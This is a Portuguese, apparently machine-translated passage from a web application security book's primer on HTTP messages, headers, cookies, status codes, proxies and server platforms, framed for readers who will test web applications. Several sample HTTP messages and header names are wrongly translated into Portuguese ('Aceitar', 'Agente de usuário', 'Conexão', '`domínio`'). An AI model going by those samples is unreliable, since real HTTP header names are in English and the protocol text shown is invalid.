Os aplicativos da Web empregam uma infinidade de tecnologias para implementar sua funcionalidade. Este capítulo é uma breve cartilha sobre as principais tecnologias que você provavelmente encontrará ao atacar aplicativos Web. Examinaremos o protocolo HTTP, as tecnologias comumente empregadas nos lados do servidor e do cliente e os esquemas de codificação usados para representar dados em diferentes situações. Em geral, essas tecnologias são fáceis de entender, e a compreensão de seus recursos relevantes é fundamental para a realização de ataques eficazes contra aplicativos da Web.

Se já estiver familiarizado com as principais tecnologias usadas em aplicativos Web, você pode dar uma olhada neste capítulo para confirmar que ele não oferece nada de novo. Se ainda estiver aprendendo como funcionam os aplicativos Web, leia este capítulo antes de prosseguir para os capítulos posteriores sobre vulnerabilidades específicas. Para ler mais sobre muitas das áreas abordadas, recomendamos *HTTP*: *The Definitive Guide*, de David Gourley e Brian Totty (O'Reilly, 2002), e também o site do World Wide Web Consortium em www.w3.org.

O protocolo HTTP

O protocolo de transferência de hipertexto (HTTP) é o principal protocolo de comunicação usado para acessar a World Wide Web e é usado por todos os aplicativos da Web atuais. É um protocolo simples que foi originalmente desenvolvido para recuperar recursos estáticos baseados em texto. Desde então, ele foi ampliado e aproveitado de várias maneiras para dar suporte aos complexos aplicativos distribuídos que agora são comuns.

O HTTP usa um modelo baseado em mensagens no qual um cliente envia uma mensagem de solicitação e o servidor retorna uma mensagem de resposta. O protocolo é essencialmente sem conexão: embora o HTTP use o protocolo TCP com estado como seu mecanismo de transporte, cada troca de solicitação e resposta é uma transação autônoma e pode usar uma conexão TCP diferente.

Solicitações HTTP

Todas as mensagens HTTP (solicitações e respostas) consistem em um ou mais cabeçalhos, cada um em uma linha separada, seguido por uma linha em branco obrigatória, seguida por um corpo de mensagem opcional. Uma solicitação HTTP típica é a seguinte:

```
GET /auth/488/YourDetails.ashx?uid=129 HTTP/1.1
Aceitar: application/x-ms-application, image/jpeg, application/xaml+xml,
image/gif, image/pjpeg, application/x-ms-xbap, application/x-shockwave-
flash, */*
Referer: https://mdsec.net/auth/488/Home.ashx
Accept-Language: en-GB
Agente de usuário: Mozilla/4.0 (compatível; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET
CLR 3.0.30729; .NET4.0C; InfoPath.3; .NET4.0E; FDM; .NET CLR 1.1.4322)
Accept-Encoding: gzip, deflate
Host: mdsec.net
Conexão: Keep-Alive
Cookie: SessionId=5B70C71F3FD4968935CDB6682E545476
```

A primeira linha de cada solicitação HTTP consiste em três itens, separados por espaços:

- Um verbo que indica o método HTTP. O método mais comumente usado é o `GET`, cuja função é recuperar um recurso do servidor da Web. As solicitações `GET` não têm um corpo de mensagem, portanto, nenhum dado adicional segue a linha em branco após os cabeçalhos da mensagem.
- O URL solicitado. O URL normalmente funciona como um nome para o recurso que está sendo solicitado, juntamente com uma string de consulta opcional que contém os parâmetros que o cliente está passando para esse recurso. A cadeia de consulta é indicada pelo caractere `?` no URL. O exemplo contém um único parâmetro com o nome `uid` e o valor `129`.
- A versão HTTP que está sendo usada. As únicas versões de HTTP de uso comum na Internet são 1.0 e 1.1, e a maioria dos navegadores usa a versão 1.1 por padrão. Há algumas diferenças entre as especificações dessas duas versões; no entanto, a única diferença que você provavelmente encontrará ao atacar aplicativos da Web é que, na versão 1.1, o cabeçalho de solicitação `Host` é obrigatório.

Aqui estão alguns outros pontos de interesse na solicitação de amostra:

- O cabeçalho `Referer` é usado para indicar o URL do qual a solicitação se originou (por exemplo, porque o usuário clicou em um link nessa página). Observe que esse cabeçalho foi escrito incorretamente na especificação original do HTTP, e a versão com erro ortográfico foi mantida desde então.
- O cabeçalho `User-Agent` é usado para fornecer informações sobre o navegador ou outro software cliente que gerou a solicitação. Observe que a maioria dos navegadores inclui o prefixo Mozilla por motivos históricos. Essa era a cadeia de caracteres do `User-Agent` usada pelo navegador Netscape, originalmente dominante, e outros navegadores queriam afirmar aos sites que eram compatíveis com esse padrão. Como acontece com muitas peculiaridades da história da computação, ela se tornou tão estabelecida que ainda é mantida, mesmo na versão atual do Internet Explorer, que fez a solicitação mostrada no exemplo.
- O cabeçalho `Host` especifica o nome do host que aparece na URL completa que está sendo acessada. Isso é necessário quando vários sites estão hospedados no mesmo servidor, porque o URL enviado na primeira linha da solicitação geralmente não contém um nome de host. (Consulte o Capítulo 17 para obter mais informações sobre sites hospedados virtualmente).
- O cabeçalho `Cookie` é usado para enviar parâmetros adicionais que o servidor emitiu para o cliente (descritos em mais detalhes posteriormente neste capítulo).

Respostas HTTP

Uma resposta HTTP típica é a seguinte:

```
HTTP/1.1 200 OK
Data: Tue, 19 Apr 2011 09:23:32 GMT
Servidor: Microsoft-
IIS/6.0 X-Powered-By:
ASP.NET
Set-Cookie: tracking=tI8rk7joMx44S2Uu85nSWc
X-AspNet-Version: 2.0.50727
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1067

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://
www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://
www.w3.org/1999/xhtml"><head><title>Seus detalhes</title>
...
```

A primeira linha de cada resposta HTTP consiste em três itens, separados por espaços:

- A versão HTTP que está sendo usada.
- Um código de status numérico que indica o resultado da solicitação. 200 é o código de status mais comum; significa que a solicitação foi bem-sucedida e que o recurso solicitado está sendo retornado.
- Uma "frase de motivo" textual que descreve melhor o status da resposta. Ela pode ter qualquer valor e não é usada para nenhuma finalidade pelos navegadores atuais.

Aqui estão alguns outros pontos de interesse na resposta:

- O cabeçalho `do servidor` contém um banner que indica o software do servidor da Web que está sendo usado e, às vezes, outros detalhes, como módulos instalados e o sistema operacional do servidor. As informações contidas podem ou não ser precisas.
- O cabeçalho `Set-Cookie` emite um cookie adicional para o navegador; esse cookie é reenviado no cabeçalho `Cookie` das solicitações subsequentes a esse servidor.
- O cabeçalho `Pragma` instrui o navegador a não armazenar a resposta em seu cache. O cabeçalho `Expires` indica que o conteúdo da resposta expirou no passado e, portanto, não deve ser armazenado em cache. Essas instruções são frequentemente emitidas quando o conteúdo dinâmico está sendo retornado para garantir que os navegadores obtenham uma nova versão desse conteúdo em ocasiões subsequentes.
- Quase todas as respostas HTTP contêm um corpo de mensagem seguindo a linha em branco após os cabeçalhos. O cabeçalho `Content-Type` indica que o corpo da mensagem contém um documento HTML.
- O cabeçalho `Content-Length` indica o tamanho do corpo da mensagem em bytes.

Métodos HTTP

Quando estiver atacando aplicativos da Web, você lidará quase exclusivamente com os métodos mais usados: `GET` e `POST`. Você precisa estar ciente de algumas diferenças importantes entre esses métodos, pois elas podem afetar a segurança de um aplicativo se não forem levadas em consideração.

O método `GET` foi projetado para recuperar recursos. Ele pode ser usado para enviar parâmetros para o recurso solicitado na string de consulta do URL. Isso permite que os usuários marquem um URL para um recurso dinâmico que eles possam reutilizar. Ou outros usuários podem recuperar o recurso equivalente em uma ocasião posterior (como em uma consulta de pesquisa marcada). Os URLs são exibidos na tela e registrados em vários locais, como o histórico do navegador e os logs de acesso do servidor da Web. Eles também são transmitidos no cabeçalho `Referer` para outros sites quando externos.

links são seguidos. Por esses motivos, a string de consulta não deve ser usada para transmitir informações confidenciais.

O método `POST` foi projetado para executar ações. Com esse método, os parâmetros de solicitação podem ser enviados tanto na cadeia de consulta do URL quanto no corpo da mensagem. Embora o URL ainda possa ser marcado como favorito, todos os parâmetros enviados no corpo da mensagem serão excluídos do favorito. Esses parâmetros também serão excluídos dos vários locais em que os registros de URLs são mantidos e do cabeçalho `Referer`. Como o método `POST` foi projetado para executar ações, se um usuário clicar no botão Voltar do navegador para retornar a uma página que foi acessada usando esse método, o navegador não reemitirá automaticamente a solicitação. Em vez disso, ele avisa o usuário sobre o que está prestes a fazer, conforme mostrado na Figura 3-1. Isso evita que os usuários executem uma ação mais de uma vez sem querer. Por esse motivo, as solicitações `POST` devem sempre ser usadas quando uma ação estiver sendo executada.

Figura 3-1: Os navegadores não reemitem automaticamente as solicitações POST feitas pelos usuários, porque elas podem fazer com que uma ação seja executada mais de uma vez

Além dos métodos `GET` e `POST`, o protocolo HTTP oferece suporte a vários outros métodos que foram criados para fins específicos. Aqui estão os outros que você provavelmente precisará conhecer:

- O `HEAD` funciona da mesma forma que uma solicitação `GET`, exceto pelo fato de que o servidor não deve retornar um corpo de mensagem em sua resposta. O servidor deve retornar os mesmos cabeçalhos que teria retornado para a solicitação `GET` correspondente. Portanto, esse método pode ser usado para verificar se um recurso está presente antes de fazer uma solicitação `GET` para ele.
- O `TRACE` foi projetado para fins de diagnóstico. O servidor deve retornar no corpo da resposta o conteúdo exato da mensagem de solicitação recebida. Isso pode ser usado para detectar o efeito de qualquer servidor proxy entre o cliente e o servidor que possa manipular a solicitação.
- `OPTIONS` solicita ao servidor que informe os métodos HTTP disponíveis para um determinado recurso. Normalmente, o servidor retorna uma resposta contendo um cabeçalho `Allow` que lista os métodos disponíveis.
- O `PUT` tenta fazer upload do recurso especificado para o servidor, usando o conteúdo contido no corpo da solicitação. Se esse método estiver ativado, você poderá aproveitá-lo para atacar o aplicativo, por exemplo, fazendo upload de um script arbitrário e executando-o no servidor.

Existem muitos outros métodos HTTP que não são diretamente relevantes para o ataque a aplicativos da Web. No entanto, um servidor Web pode se expor a ataques se determinados métodos perigosos estiverem disponíveis. Consulte o Capítulo 18 para obter mais detalhes sobre esses métodos e exemplos de como usá-los em um ataque.

URLs

Um URL (uniform resource locator, localizador uniforme de recursos) é um identificador exclusivo de um recurso da Web por meio do qual esse recurso pode ser recuperado. O formato da maioria dos URLs é o seguinte:

```
protocol://hostname[:port]/[path/]file[?param=value]
```

Vários componentes desse esquema são opcionais. O número da porta geralmente é incluído somente se for diferente do padrão usado pelo protocolo relevante. O URL usado para gerar a solicitação HTTP mostrada anteriormente é o seguinte:

```
https://mdsec.net/auth/488/YourDetails.ashx?uid=129
```

Além dessa forma absoluta, os URLs podem ser especificados em relação a um host específico ou em relação a um caminho específico nesse host. Por exemplo:

```
/auth/488/YourDetails.ashx?uid=129
YourDetails.ashx?uid=129
```

Essas formas relativas são usadas com frequência em páginas da Web para descrever a navegação no próprio site ou aplicativo.

OBSERVAÇÃO É possível que você encontre o termo *URI* (ou identificador uniforme de recursos) sendo usado em vez de URL, mas ele só é realmente usado em especificações formais e por aqueles que querem exibir seu pedantismo.

REST

A transferência de estado representacional (REST) é um estilo de arquitetura para sistemas distribuídos em que as solicitações e respostas contêm representações do estado atual dos recursos do sistema. As principais tecnologias empregadas na World Wide Web, incluindo o protocolo HTTP e o formato dos URLs, estão em conformidade com o estilo arquitetônico REST.

Embora os URLs que contêm parâmetros na string de consulta estejam em conformidade com as restrições REST, o termo "URL no estilo REST" é usado com frequência para designar um URL que contém seus parâmetros no caminho do arquivo de URL, em vez da string de consulta. Por exemplo, o seguinte URL contendo uma string de consulta:

```
http://wahh-app.com/search?make=ford&model=pinto
```

corresponde ao seguinte URL contendo parâmetros "estilo REST":

```
http://wahh-app.com/search/ford/pinto
```

O Capítulo 4 descreve como você precisa considerar esses diferentes estilos de parâmetros ao mapear o conteúdo e a funcionalidade de um aplicativo e identificar sua principal superfície de ataque.

Cabeçalhos HTTP

O HTTP oferece suporte a um grande número de cabeçalhos, alguns dos quais são projetados para fins específicos e incomuns. Alguns cabeçalhos podem ser usados tanto para solicitações quanto para respostas, e outros são específicos para um desses tipos de mensagem. As seções a seguir descrevem os cabeçalhos que você provavelmente encontrará ao atacar aplicativos da Web.

Cabeçalhos gerais

- `Connection` informa ao outro lado da comunicação se ele deve fechar a conexão TCP após a conclusão da transmissão HTTP ou mantê-la aberta para outras mensagens.
- `Content-Encoding` especifica que tipo de codificação está sendo usada para o conteúdo contido no corpo da mensagem, como `gzip`, que é usado por alguns aplicativos para compactar respostas para uma transmissão mais rápida.
- `Content-Length` especifica o tamanho do corpo da mensagem, em bytes (exceto no caso de respostas a solicitações `HEAD`, quando indica o tamanho do corpo na resposta à solicitação `GET` correspondente).
- `Content-Type` especifica o tipo de conteúdo contido no corpo da mensagem, como `text/html` para documentos HTML.
- `Transfer-Encoding` especifica qualquer codificação que tenha sido executada no corpo da mensagem para facilitar a transferência por HTTP. Normalmente, é usada para especificar a codificação em blocos quando ela é empregada.

Cabeçalhos de solicitação

- `Accept` informa ao servidor quais tipos de conteúdo o cliente está disposto a aceitar, como tipos de imagem, formatos de documentos de escritório e assim por diante.
- `Accept-Encoding` informa ao servidor quais tipos de codificação de conteúdo o cliente está disposto a aceitar.
- `A autorização` envia credenciais ao servidor para um dos tipos de autenticação HTTP incorporados.
- `O cookie` envia cookies para o servidor que o servidor emitiu anteriormente.
- `Host` especifica o nome do host que aparece no URL completo que está sendo solicitado.

- `If-Modified-Since` especifica quando o navegador recebeu o recurso solicitado pela última vez. Se o recurso não tiver sido alterado desde então, o servidor poderá instruir o cliente a usar sua cópia em cache, usando uma resposta com o código de status 304.
- `If-None-Match` especifica uma *tag de entidade*, que é um identificador que denota o conteúdo do corpo da mensagem. O navegador envia a tag de entidade que o servidor emitiu com o recurso solicitado quando ele foi recebido pela última vez. O servidor pode usar a tag de entidade para determinar se o navegador pode usar sua cópia em cache do recurso.
- `Origin` é usado em solicitações Ajax entre domínios para indicar o domínio do qual a solicitação se originou (consulte o Capítulo 13).
- `Referer` especifica o URL do qual a solicitação atual se originou.
- O `User-Agent` fornece informações sobre o navegador ou outro software cliente que gerou a solicitação.

Cabeçalhos de resposta

- `Access-Control-Allow-Origin` indica se o recurso pode ser recuperado por meio de solicitações Ajax entre domínios (consulte o Capítulo 13).
- O `Cache-Control` passa as diretivas de cache para o navegador (por exemplo, `no-cache`).
- `ETag` especifica uma tag de entidade. Os clientes podem enviar esse identificador em solicitações futuras para o mesmo recurso no cabeçalho `If-None-Match` para notificar o servidor sobre qual versão do recurso o navegador mantém atualmente em seu cache.
- O `Expires` informa ao navegador por quanto tempo o conteúdo do corpo da mensagem é válido. O navegador pode usar a cópia em cache desse recurso até esse período.
- `Location` é usado em respostas de redirecionamento (aquelas que têm um código de status que começa com 3) para especificar o destino do redirecionamento.
- O `Pragma` passa as diretivas de cache para o navegador (por exemplo, `no-cache`).
- `Server` fornece informações sobre o software de servidor da Web que está sendo usado.
- O `Set-Cookie` emite cookies para o navegador que ele enviará de volta ao servidor em solicitações subsequentes.
- O `WWW-Authenticate` é usado em respostas que têm um código de status 401 para fornecer detalhes sobre o(s) tipo(s) de autenticação que o servidor suporta.
- `X-Frame-Options` indica se e como a resposta atual pode ser carregada em um quadro do navegador (consulte o Capítulo 13).

Cookies

Os cookies são uma parte fundamental do protocolo HTTP, do qual a maioria dos aplicativos da Web depende. Frequentemente, eles podem ser usados como um veículo para explorar vulnerabilidades. O mecanismo de cookies permite que o servidor envie itens de dados para o cliente, que o cliente armazena e reenvia para o servidor. Diferentemente de outros tipos de parâmetros de solicitação (aqueles dentro da string de consulta do URL ou do corpo da mensagem), os cookies continuam a ser reenviados em cada solicitação subsequente sem nenhuma ação específica exigida pelo aplicativo ou pelo usuário.

Um servidor emite um cookie usando o cabeçalho de resposta `Set-Cookie`, como você viu:

```
Set-Cookie: tracking=tI8rk7joMx44S2Uu85nSWc
```

O navegador do usuário adiciona automaticamente o seguinte cabeçalho às solicitações subsequentes de volta ao mesmo servidor:

```
Cookie: tracking=tI8rk7joMx44S2Uu85nSWc
```

Os cookies normalmente consistem em um par nome/valor, conforme mostrado, mas podem consistir em qualquer cadeia de caracteres que não contenha um espaço. Vários cookies podem ser emitidos com o uso de vários cabeçalhos `Set-Cookie` na resposta do servidor. Eles são enviados de volta ao servidor no mesmo cabeçalho `Cookie`, com um ponto e vírgula separando os diferentes cookies individuais.

Além do valor real do cookie, o cabeçalho `Set-Cookie` pode incluir qualquer um dos seguintes atributos opcionais, que podem ser usados para controlar como o navegador lida com o cookie:

- `expires` define uma data até a qual o cookie é válido. Isso faz com que o navegador salve o cookie no armazenamento persistente e ele é reutilizado nas sessões subsequentes do navegador até que a data de expiração seja atingida. Se esse atributo não for definido, o cookie será usado somente na sessão atual do navegador.
- `domínio` especifica o domínio para o qual o cookie é válido. Esse domínio deve ser o mesmo ou um domínio pai do domínio do qual o cookie é recebido.
- `path` especifica o caminho do URL para o qual o cookie é válido.
- `secure` - se esse atributo for definido, o cookie será enviado somente em solicitações HTTPS.
- `HttpOnly` - se esse atributo for definido, o cookie não poderá ser acessado diretamente pelo JavaScript do lado do cliente.

Cada um desses atributos de cookie pode afetar a segurança do aplicativo. O principal impacto é a capacidade do invasor de atingir diretamente outros usuários do aplicativo. Consulte os Capítulos 12 e 13 para obter mais detalhes.

Códigos de status

Cada mensagem de resposta HTTP deve conter um código de status em sua primeira linha, indicando o resultado da solicitação. Os códigos de status se dividem em cinco grupos, de acordo com o primeiro dígito do código:

- ***1xx*** - Informativo.
- ***2xx*** - A solicitação foi bem-sucedida.
- ***3xx*** - O cliente é redirecionado para um recurso diferente.
- ***4xx*** - A solicitação contém um erro de algum tipo.
- ***5xx*** - O servidor encontrou um erro ao atender a solicitação.

Há vários códigos de status específicos, muitos dos quais são usados somente em circunstâncias especializadas. Aqui estão os códigos de status que você provavelmente encontrará ao atacar um aplicativo da Web, juntamente com a frase de motivo usual associada a eles:

- `100 Continue` é enviado em algumas circunstâncias quando um cliente envia uma solicitação contendo um corpo. A resposta indica que os cabeçalhos da solicitação foram recebidos e que o cliente deve continuar enviando o corpo. O servidor retorna uma segunda resposta quando a solicitação tiver sido concluída.
- `200 OK` indica que a solicitação foi bem-sucedida e que o corpo da resposta contém o resultado da solicitação.
- `201 Created` é retornado em resposta a uma solicitação `PUT` para indicar que a solicitação foi bem-sucedida.
- `O 301 Moved Permanently` redireciona o navegador permanentemente para um URL diferente, que é especificado no cabeçalho `Location`. O cliente deve usar o novo URL no futuro, em vez do original.
- `O 302 Found` redireciona o navegador temporariamente para um URL diferente, que é especificado no cabeçalho `Location`. O cliente deve reverter para o URL original nas solicitações subsequentes.
- `304 Not Modified` instrui o navegador a usar sua cópia em cache do recurso solicitado. O servidor usa os cabeçalhos de solicitação `If-Modified-Since` e `If-None- Match` para determinar se o cliente tem a versão mais recente do recurso.
- `400 Bad Request` indica que o cliente enviou uma solicitação HTTP inválida. Você provavelmente encontrará isso quando tiver modificado uma solicitação de determinadas formas inválidas, como colocar um caractere de espaço no URL.
- `401 Unauthorized` indica que o servidor requer autenticação HTTP para que a solicitação seja concedida. O cabeçalho `WWW-Authenticate` contém detalhes sobre o(s) tipo(s) de autenticação suportado(s).

- `403 Forbidden` indica que ninguém tem permissão para acessar o recurso solicitado, independentemente da autenticação.
- `404 Not Found` indica que o recurso solicitado não existe.
- `405 Method Not Allowed` indica que o método usado na solicitação não é compatível com o URL especificado. Por exemplo, você pode receber esse código de status se tentar usar o método `PUT` quando ele não for compatível.
- `413 Entidade de solicitação muito grande` - Se você estiver procurando vulnerabilidades de estouro de buffer no código nativo e, portanto, estiver enviando longas cadeias de dados, isso indica que o corpo da sua solicitação é muito grande para o servidor manipular.
- `414 Request URI Too Long` é semelhante à resposta 413. Ela indica que o URL usado na solicitação é muito grande para o servidor manipular.
- `500 Internal Server Error` indica que o servidor encontrou um erro ao atender à solicitação. Isso normalmente ocorre quando você enviou uma entrada inesperada que causou um erro não tratado em algum ponto do processamento do aplicativo. Você deve examinar atentamente o conteúdo completo da resposta do servidor para ver se há detalhes que indiquem a natureza do erro.
- `503 Service Unavailable` normalmente indica que, embora o próprio servidor da Web esteja funcionando e possa responder às solicitações, o aplicativo acessado por meio do servidor não está respondendo. Você deve verificar se isso é resultado de alguma ação que tenha realizado.

HTTPS

O protocolo HTTP usa TCP simples como seu mecanismo de transporte, que não é criptografado e, portanto, pode ser interceptado por um invasor que esteja adequadamente posicionado na rede. O HTTPS é essencialmente o mesmo protocolo de camada de aplicativo que o HTTP, mas é encapsulado no mecanismo de transporte seguro, Secure Sockets Layer (SSL). Isso protege a privacidade e a integridade dos dados que passam pela rede, reduzindo as possibilidades de ataques de interceptação não invasivos. As solicitações e respostas HTTP funcionam exatamente da mesma forma, independentemente de o SSL ser usado para transporte.

OBSERVAÇÃO O SSL foi estritamente substituído pelo TLS (Transport Layer Security, segurança da camada de transporte), mas o último ainda é normalmente chamado pelo nome antigo.

Proxies HTTP

Um proxy HTTP é um servidor que faz a mediação do acesso entre o navegador do cliente e o servidor da Web de destino. Quando um navegador tiver sido configurado para usar um proxy

ele faz todas as suas solicitações a esse servidor. O proxy retransmite as solicitações para os servidores da Web relevantes e encaminha as respostas de volta para o navegador. A maioria dos proxies também oferece serviços adicionais, incluindo cache, autenticação e controle de acesso.

Você deve estar ciente de duas diferenças na forma como o HTTP funciona quando um servidor proxy está sendo usado:

- Quando um navegador emite uma solicitação HTTP não criptografada para um servidor proxy, ele coloca o URL completo na solicitação, incluindo o prefixo do protocolo http://, o nome do host do servidor e o número da porta, se não for padrão. O servidor proxy extrai o nome do host e a porta e os utiliza para direcionar a solicitação para o servidor da Web de destino correto.
- Quando o HTTPS está sendo usado, o navegador não pode executar o handshake SSL com o servidor proxy, pois isso romperia o túnel seguro e deixaria as comunicações vulneráveis a ataques de interceptação. Portanto, o navegador deve usar o proxy como um relé de nível TCP puro, que passa todos os dados de rede em ambas as direções entre o navegador e o servidor da Web de destino, com o qual o navegador executa um handshake SSL normalmente. Para estabelecer essa retransmissão, o navegador faz uma solicitação HTTP ao servidor proxy usando o método `CONNECT` e especificando o nome do host de destino e o número da porta como URL. Se o proxy permitir a solicitação, ele retornará uma resposta HTTP com status 200, manterá a conexão TCP aberta e, a partir desse ponto, atuará como um relé de nível TCP puro para o servidor da Web de destino.

De certa forma, o item mais útil do seu kit de ferramentas ao atacar aplicativos Web é um tipo especializado de servidor proxy que fica entre o navegador e o site de destino e permite interceptar e modificar todas as solicitações e respostas, mesmo as que usam HTTPS. Começaremos a examinar como você pode usar esse tipo de ferramenta no próximo capítulo.

Autenticação HTTP

O protocolo HTTP inclui seus próprios mecanismos para autenticar usuários usando vários esquemas de autenticação, incluindo os seguintes:

- **O Basic** é um mecanismo de autenticação simples que envia as credenciais do usuário como uma cadeia de caracteres codificada em Base64 em um cabeçalho de solicitação com cada mensagem.
- **O NTLM** é um mecanismo de desafio-resposta e usa uma versão do protocolo NTLM do Windows.
- **O Digest** é um mecanismo de desafio-resposta e usa somas de verificação MD5 de um nonce com as credenciais do usuário.

É relativamente raro encontrar esses protocolos de autenticação sendo usados por aplicativos da Web implantados na Internet. Eles são mais comumente usados nas organizações para acessar serviços baseados na intranet.

MITO COMUM

"A autenticação básica não é segura."

Como a autenticação básica coloca as credenciais de forma não criptografada na solicitação HTTP, afirma-se com frequência que o protocolo é inseguro e não deve ser usado. Mas a autenticação baseada em formulários, usada por vários bancos, também coloca as credenciais em formato não criptografado na solicitação HTTP.

Qualquer mensagem HTTP pode ser protegida contra ataques de interceptação usando HTTPS como mecanismo de transporte, o que deve ser feito por todos os aplicativos que se preocupam com a segurança. Em relação à espionagem, pelo menos, a autenticação básica em si não é pior do que os métodos usados pela maioria dos aplicativos da Web atuais.

Funcionalidade da Web

Além do protocolo de comunicação principal usado para enviar mensagens entre o cliente e o servidor, os aplicativos da Web empregam várias tecnologias para oferecer sua funcionalidade. Qualquer aplicativo razoavelmente funcional pode empregar dezenas de tecnologias distintas em seus componentes de servidor e cliente. Antes de montar um ataque sério contra um aplicativo da Web, é necessário ter um entendimento básico de como a funcionalidade é implementada, como as tecnologias usadas são projetadas para se comportar e onde provavelmente estão seus pontos fracos.

Funcionalidade no lado do servidor

O início da World Wide Web continha conteúdo totalmente estático. Os sites consistiam em vários recursos, como páginas HTML e imagens, que eram simplesmente carregados em um servidor da Web e entregues a qualquer usuário que os solicitasse. Cada vez que um determinado recurso era solicitado, o servidor respondia com o mesmo conteúdo.

Os aplicativos da Web atuais ainda empregam um número razoável de recursos estáticos. No entanto, uma grande parte do conteúdo que eles apresentam aos usuários é gerada dinamicamente. Quando um usuário solicita um recurso dinâmico, a resposta do servidor é criada em tempo real, e cada usuário pode receber um conteúdo personalizado exclusivamente para ele.

O conteúdo dinâmico é gerado por scripts ou outros códigos executados no servidor. Esses scripts são semelhantes a programas de computador em seu próprio direito. Eles têm várias entradas, executam o processamento nelas e retornam seus resultados ao usuário.

Quando o navegador de um usuário solicita um recurso dinâmico, normalmente ele não pede apenas uma cópia desse recurso. Em geral, ele também envia vários parâmetros junto com a solicitação. São esses parâmetros que permitem que o aplicativo do lado do servidor gere conteúdo personalizado para o usuário individual. As solicitações HTTP podem ser usadas para enviar parâmetros ao aplicativo de três maneiras principais:

- Na cadeia de consulta de URL
- No caminho do arquivo de URLs no estilo REST
- Em cookies HTTP
- No corpo das solicitações que usam o método `POST`

Além dessas fontes primárias de entrada, o aplicativo no lado do servidor pode, em princípio, usar qualquer parte da solicitação HTTP como entrada para seu processamento. Por exemplo, um aplicativo pode processar o cabeçalho `User-Agent` para gerar conteúdo otimizado para o tipo de navegador que está sendo usado.

Como os softwares de computador em geral, os aplicativos da Web empregam uma ampla gama de tecnologias no lado do servidor para oferecer sua funcionalidade:

- Linguagens de script, como PHP, VBScript e Perl
- Plataformas de aplicativos da Web, como ASP.NET e Java
- Servidores da Web, como Apache, IIS e Netscape Enterprise
- Bancos de dados, como MS-SQL, Oracle e MySQL
- Outros componentes de back-end, como sistemas de arquivos, serviços da Web baseados em SOAP e serviços de diretório

Todas essas tecnologias e os tipos de vulnerabilidades que podem surgir em relação a elas são examinados em detalhes ao longo deste livro. Algumas das plataformas e tecnologias de aplicativos Web mais comuns que você provavelmente encontrará são descritas nas seções a seguir.

MITO COMUM

"Nossos aplicativos precisam apenas de uma análise de segurança superficial, pois empregam uma estrutura bem utilizada."

O uso de uma estrutura bem utilizada costuma ser motivo de complacência no desenvolvimento de aplicativos da Web, com a suposição de que vulnerabilidades comuns, como a injeção de SQL, são automaticamente evitadas. Essa suposição é equivocada por dois motivos.

Primeiro, um grande número de vulnerabilidades de aplicativos da Web surge no design de um aplicativo, não em sua implementação, e independe da estrutura de desenvolvimento ou da linguagem escolhida.

Em segundo lugar, como uma estrutura normalmente emprega plug-ins e pacotes de ponta dos repositórios mais recentes, é provável que esses pacotes não tenham passado por uma análise de segurança. É interessante notar que, se uma vulnerabilidade for encontrada posteriormente no aplicativo, os mesmos defensores do mito prontamente trocarão de lado e culparão a estrutura ou o pacote de terceiros!

A plataforma Java

Por muitos anos, a Java Platform, Enterprise Edition (anteriormente conhecida como J2EE) foi um padrão de fato para aplicativos corporativos de grande escala. Originalmente desenvolvida pela Sun Microsystems e agora de propriedade da Oracle, ela se presta a arquiteturas com várias camadas e balanceamento de carga e é adequada ao desenvolvimento modular e à reutilização de código. Devido à sua longa história e à ampla adoção, muitas ferramentas de desenvolvimento, servidores de aplicativos e estruturas de alta qualidade estão disponíveis para ajudar os desenvolvedores. A plataforma Java pode ser executada em vários sistemas operacionais subjacentes, incluindo Windows, Linux e Solaris.

As descrições de aplicativos da Web baseados em Java geralmente empregam vários termos potencialmente confusos dos quais você precisa estar ciente:

- Um **Enterprise Java Bean** (EJB) é um componente de software relativamente pesado que encapsula a lógica de uma função comercial específica dentro do aplicativo. Os EJBs destinam-se a cuidar de vários desafios técnicos que os desenvolvedores de aplicativos precisam enfrentar, como a integridade transacional.
- Um POJO (**Plain Old Java Object**) é um objeto Java comum, diferente de um objeto especial, como um EJB. Um POJO normalmente é usado para denotar objetos definidos pelo usuário e que são muito mais simples e leves do que os EJBs e os usados em outras estruturas.
- Um **Java Servlet** é um objeto que reside em um servidor de aplicativos, recebe solicitações HTTP de clientes e retorna respostas HTTP. As implementações de servlet podem usar várias interfaces para facilitar o desenvolvimento de aplicativos úteis.
- Um **contêiner da Web** Java é uma plataforma ou mecanismo que fornece um ambiente de tempo de execução para aplicativos da Web baseados em Java. Exemplos de contêineres da Web Java são o Apache Tomcat, o BEA WebLogic e o JBoss.

Muitos aplicativos Web Java empregam componentes de terceiros e de código aberto juntamente com código personalizado. Essa é uma opção atraente porque reduz o esforço de desenvolvimento, e o Java é bem adequado a essa abordagem modular. Aqui estão alguns exemplos de componentes comumente usados para as principais funções do aplicativo:

- **Autenticação** - JAAS, ACEGI
- **Camada de apresentação** - SiteMesh, Tapestry

- **Mapeamento relacional de objetos de banco de dados** - Hibernate
- **Registro em log** - Log4J

Se você puder determinar quais pacotes de código aberto são usados no aplicativo que está atacando, poderá baixá-los e fazer uma análise do código ou instalá-los para fazer experiências. Uma vulnerabilidade em qualquer um deles pode ser explorada para comprometer o aplicativo mais amplo.

ASP.NET

O ASP.NET é a estrutura de aplicativos da Web da Microsoft e é um concorrente direto da plataforma Java. O ASP.NET é vários anos mais novo do que sua contraparte, mas já fez incursões significativas no território do Java.

O ASP.NET usa o .NET Framework da Microsoft, que fornece uma máquina virtual (o Common Language Runtime) e um conjunto de APIs avançadas. Portanto, os aplicativos ASP.NET podem ser escritos em qualquer linguagem .NET, como C# ou VB.NET.

O ASP.NET se presta ao paradigma de programação orientada a eventos, normalmente usado em softwares convencionais de desktop, em vez da abordagem baseada em scripts usada na maioria das estruturas de aplicativos Web anteriores. Isso, juntamente com as poderosas ferramentas de desenvolvimento fornecidas pelo Visual Studio, torna o desenvolvimento de um aplicativo Web funcional extremamente fácil para qualquer pessoa com habilidades mínimas de programação.

A estrutura ASP.NET ajuda a proteger contra algumas vulnerabilidades comuns de aplicativos da Web, como cross-site scripting, sem exigir nenhum esforço do desenvolvedor. Entretanto, uma desvantagem prática de sua aparente simplicidade é que muitos aplicativos ASP.NET de pequena escala são, na verdade, criados por iniciantes que não têm conhecimento dos principais problemas de segurança enfrentados pelos aplicativos da Web.

